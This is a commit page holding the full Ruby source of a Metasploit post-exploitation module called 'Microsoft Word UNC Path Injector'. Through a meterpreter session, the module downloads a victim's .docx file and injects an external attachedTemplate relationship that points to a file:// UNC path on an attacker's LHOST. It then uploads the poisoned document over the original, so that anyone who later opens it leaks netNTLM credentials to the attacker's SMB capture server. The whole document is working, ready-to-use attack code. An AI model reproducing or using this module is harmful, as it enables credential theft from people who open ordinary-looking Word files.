added word_unc_injector post module
SphaZ
parent
1e1cbd7445
commit
3883b0d0da
|
|
@ -0,0 +1,318 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://Metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Word UNC Path Injector',
|
||||
'Description' => %q{
|
||||
This module modifies a remote .docx file that will, upon opening, submit all
|
||||
stored netNTLM credentials to a remote host. If emailed the receiver needs
|
||||
to put the document in editing mode before the remote server will be
|
||||
contacted. Preview and read-only mode do not work. Verified to work
|
||||
with Microsoft Word 2003, 2007 and 2010 as of Januari 2013 date by using
|
||||
auxiliary/server/capture/smb
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: 1 $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://jedicorp.com/?p=534' ],
|
||||
],
|
||||
'Platform' => ['win', 'linux', 'unix' ],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' =>
|
||||
[
|
||||
'SphaZ <cyberphaz[at]gmail.com>'
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to','']),
|
||||
OptString.new('FILE', [true, 'Remote file to inject UNC path into. ', '']),
|
||||
OptPath.new('DSTPATH', [true, 'Path to put downloaded documents', '/tmp']),
|
||||
OptBool.new('RMLOCAL', [true, 'Delete original file after upload.', 'False']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def manipulateFile
|
||||
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
|
||||
|
||||
relsFileData = ""
|
||||
relsFileData << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>"
|
||||
relsFileData << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">"
|
||||
relsFileData << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/"
|
||||
relsFileData << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
|
||||
|
||||
fileContent = getFileFromDocx("word/settings.xml")
|
||||
if fileContent.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
#First, we want to know if the reference to the template already exists..if it does we dont need to manipulate it :)
|
||||
if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil?
|
||||
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
|
||||
if unzipDocx.nil?
|
||||
return nil
|
||||
end
|
||||
#and we put just our rels file into the docx
|
||||
updateDocxFile("word/_rels/settings.xml.rels", relsFileData)
|
||||
|
||||
#ok we got through this, lets zip the file, overwriting the original in this case
|
||||
begin
|
||||
File.delete(@localFile)
|
||||
if zipDocx(@tmpDir, @localFile).nil?
|
||||
return nil
|
||||
end
|
||||
rescue
|
||||
print_error("Can't modify the original document :(")
|
||||
return nil
|
||||
end
|
||||
else
|
||||
#now insert the reference to the file that will enable our malicious entry
|
||||
insertOne = fileContent.index("<w:defaultTabStop")
|
||||
|
||||
if insertOne.nil?
|
||||
insertTwo = fileContent.index("<w:hyphenationZone") # 2nd choice
|
||||
if not insertTwo.nil?
|
||||
vprint_status("HypenationZone found, we use this for insertion.")
|
||||
fileContent.insert(insertTwo, ref )
|
||||
end
|
||||
else
|
||||
vprint_status("DefaultTabStop found, we use this for insertion.")
|
||||
fileContent.insert(insertOne, ref )
|
||||
end
|
||||
|
||||
if insertOne.nil? && insertTwo.nil?
|
||||
vprint_error("Cannot find insert point for reference into settings.xml")
|
||||
return nil
|
||||
end
|
||||
|
||||
if unzipDocx.nil?
|
||||
return nil
|
||||
end
|
||||
#update the settings.xml file
|
||||
if updateDocxFile("word/settings.xml",fileContent).nil?
|
||||
return nil
|
||||
end
|
||||
#and we put our rels file into the docx
|
||||
if updateDocxFile("word/_rels/settings.xml.rels", relsFileData).nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
#ok we got through this, lets zip the file, overwriting the tmp copy in this case
|
||||
begin
|
||||
File.delete(@localFile)
|
||||
if zipDocx(@tmpDir, @localFile).nil?
|
||||
return nil
|
||||
end
|
||||
rescue
|
||||
print_error("Can't modify the original document :(")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
return 0
|
||||
end
|
||||
|
||||
def zipDocx(inputPath, archive)
|
||||
begin
|
||||
#add the prepared files to the zip file
|
||||
Zip::ZipFile.open(archive, 'wb') do |fileZip|
|
||||
Dir["#{inputPath}/**/**"].reject{|f|f==archive}.each do |file|
|
||||
fileZip.add(file.sub(inputPath+'/',''), file)
|
||||
end
|
||||
relsFile = inputPath + '/_rels/.rels'
|
||||
fileZip.add(relsFile.sub(inputPath+'/',''), relsFile)
|
||||
end
|
||||
rescue
|
||||
print_error("Error zipping file..")
|
||||
begin
|
||||
FileUtils.rm_rf(inputPath)
|
||||
rescue
|
||||
print_error("Cant even clean up my own mess, I give up")
|
||||
return nil
|
||||
end
|
||||
return nil
|
||||
end
|
||||
begin
|
||||
FileUtils.rm_rf(inputPath)
|
||||
rescue
|
||||
print_error("Cant even clean up my own mess, I give up")
|
||||
return nil
|
||||
end
|
||||
return 0
|
||||
end
|
||||
|
||||
def unzipDocx
|
||||
begin
|
||||
vprint_status("tmpdir: #{@tmpDir}")
|
||||
if not File.directory?(@tmpDir)
|
||||
vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{@localFile}")
|
||||
Zip::ZipFile.open(@localFile) do |fileZip|
|
||||
fileZip.each do |entry|
|
||||
if not entry.nil?
|
||||
vprint_status("extracting entry: #{entry.name}")
|
||||
end
|
||||
fpath = File.join(@tmpDir, entry.name)
|
||||
FileUtils.mkdir_p(File.dirname(fpath))
|
||||
fileZip.extract(entry, fpath)
|
||||
end
|
||||
end
|
||||
end
|
||||
vprint_status("files extracted from zip")
|
||||
rescue Exception => ex
|
||||
print_error("There was an error unzipping, is the file corrupt?")
|
||||
return nil
|
||||
end
|
||||
return 0
|
||||
end
|
||||
|
||||
#used for updating the files inside the docx from a string
|
||||
def updateDocxFile(fileString, content)
|
||||
begin
|
||||
#ok so now we unpacked the docx file, lets start to update the file we need to do
|
||||
#does the file already exist?
|
||||
archive = File.join(@tmpDir, fileString)
|
||||
vprint_status("We need to look for: #{archive}")
|
||||
if File.exists?(archive)
|
||||
vprint_status("Deleting original file #{archive}")
|
||||
File.delete(archive)
|
||||
end
|
||||
#now lets put OUR file there
|
||||
File.open(archive, 'wb+') { |f| f.write(content) }
|
||||
rescue Exception => ex
|
||||
print_error("Extracting and manipulating the file went wrong.")
|
||||
return nil
|
||||
end
|
||||
return 0
|
||||
end
|
||||
|
||||
def getFile
|
||||
begin
|
||||
data = ""
|
||||
docxFile = session.fs.file.new("#{datastore['FILE']}", 'rb')
|
||||
until docxFile.eof?
|
||||
data << docxFile.read
|
||||
end
|
||||
|
||||
if data == ""
|
||||
print_error("File read is empty!")
|
||||
return nil
|
||||
end
|
||||
|
||||
orgFilename = File.join(datastore['DSTPATH'], session.fs.file.basename(datastore['FILE']))
|
||||
lclFile = File.new(orgFilename, 'wb+')
|
||||
lclFile.write(data)
|
||||
lclFile.close
|
||||
|
||||
if not File.exists?(orgFilename)
|
||||
print_error("Could not create file :(")
|
||||
raise $!
|
||||
else
|
||||
vprint_status("Created local file #{orgFilename}")
|
||||
end
|
||||
|
||||
#now lets make a copy for manipulation
|
||||
tmpFile = File.join("#{orgFilename}.tmp")
|
||||
FileUtils.cp(orgFilename, tmpFile)
|
||||
vprint_status("Created file to inject into: #{tmpFile}")
|
||||
return tmpFile
|
||||
rescue
|
||||
print_error("Failed to get file or create copy for #{filename} to #{orgFilename}: #{e.class} #{e}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#read a file from .docx into a string
|
||||
def getFileFromDocx(fileString)
|
||||
begin
|
||||
Zip::ZipFile.open(@localFile) do |zipFile|
|
||||
zipFile.each do |f|
|
||||
next unless f.to_s == fileString
|
||||
return f.get_input_stream.read
|
||||
end
|
||||
end
|
||||
print_error("Cant find #{fileString} inside the .docx")
|
||||
return nil
|
||||
rescue
|
||||
print_error("Unknown error reading docx file.")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
#where do we unpack our file?
|
||||
@tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/"
|
||||
begin
|
||||
if not session.fs.file.exists?(datastore['FILE'])
|
||||
print_error("File not found.")
|
||||
return
|
||||
else
|
||||
@localFile = getFile
|
||||
if not @localFile.nil?
|
||||
print_status("File found and data read, lets to do some magic...")
|
||||
else
|
||||
#since nil value is from the rescue and already prints info, we just exit the module here
|
||||
return
|
||||
end
|
||||
end
|
||||
rescue
|
||||
print_error("Session error verifying file existance.")
|
||||
return
|
||||
end
|
||||
|
||||
if manipulateFile.nil?
|
||||
print_error("Error manipulating #{@localFile}!")
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status("UNC path injected into file, lets upload it now...")
|
||||
#aight, now we need to upload and replace the file we just read
|
||||
#now we upload our modified docx.tmp file, overwriting the original on the remote host
|
||||
begin
|
||||
print_status("Uploading injected file #{@localFile} to remote #{datastore['FILE']}...")
|
||||
session.fs.file.upload_file(datastore['FILE'], @localFile)
|
||||
vprint_good("File succesfully uploaded!")
|
||||
rescue ::Exception => e
|
||||
print_error("Error uploading file #{@localFile} to #{datastore['FILE']}: #{e.class} #{e}")
|
||||
return
|
||||
end
|
||||
|
||||
#cleanup phase
|
||||
begin
|
||||
vprint_status("Deleting local injected file #{@localFile}")
|
||||
File.delete(@localFile)
|
||||
rescue
|
||||
print_error("Error deleting temporary file #{@localFile}")
|
||||
return
|
||||
end
|
||||
|
||||
#do we need to delete the original too?
|
||||
if datastore['RMLOCAL']
|
||||
begin
|
||||
vprint_status("Deleting original file...")
|
||||
orgFilename = File.join(datastore['DSTPATH'], session.fs.file.basename(datastore['FILE']) )
|
||||
File.delete(orgFilename)
|
||||
rescue
|
||||
print_error("Error deleting #{session.fs.file.basename(datastore['FILE'])} from #{datastore['DSTPATH']}")
|
||||
return
|
||||
end
|
||||
elsif not datastore['RMLOCAL']
|
||||
print_status("!!Keeping original of #{datastore['FILE']} in #{datastore['DSTPATH']}")
|
||||
end
|
||||
|
||||
print_good("File #{datastore['FILE']} succesfully injected to point to #{datastore['LHOST']}")
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue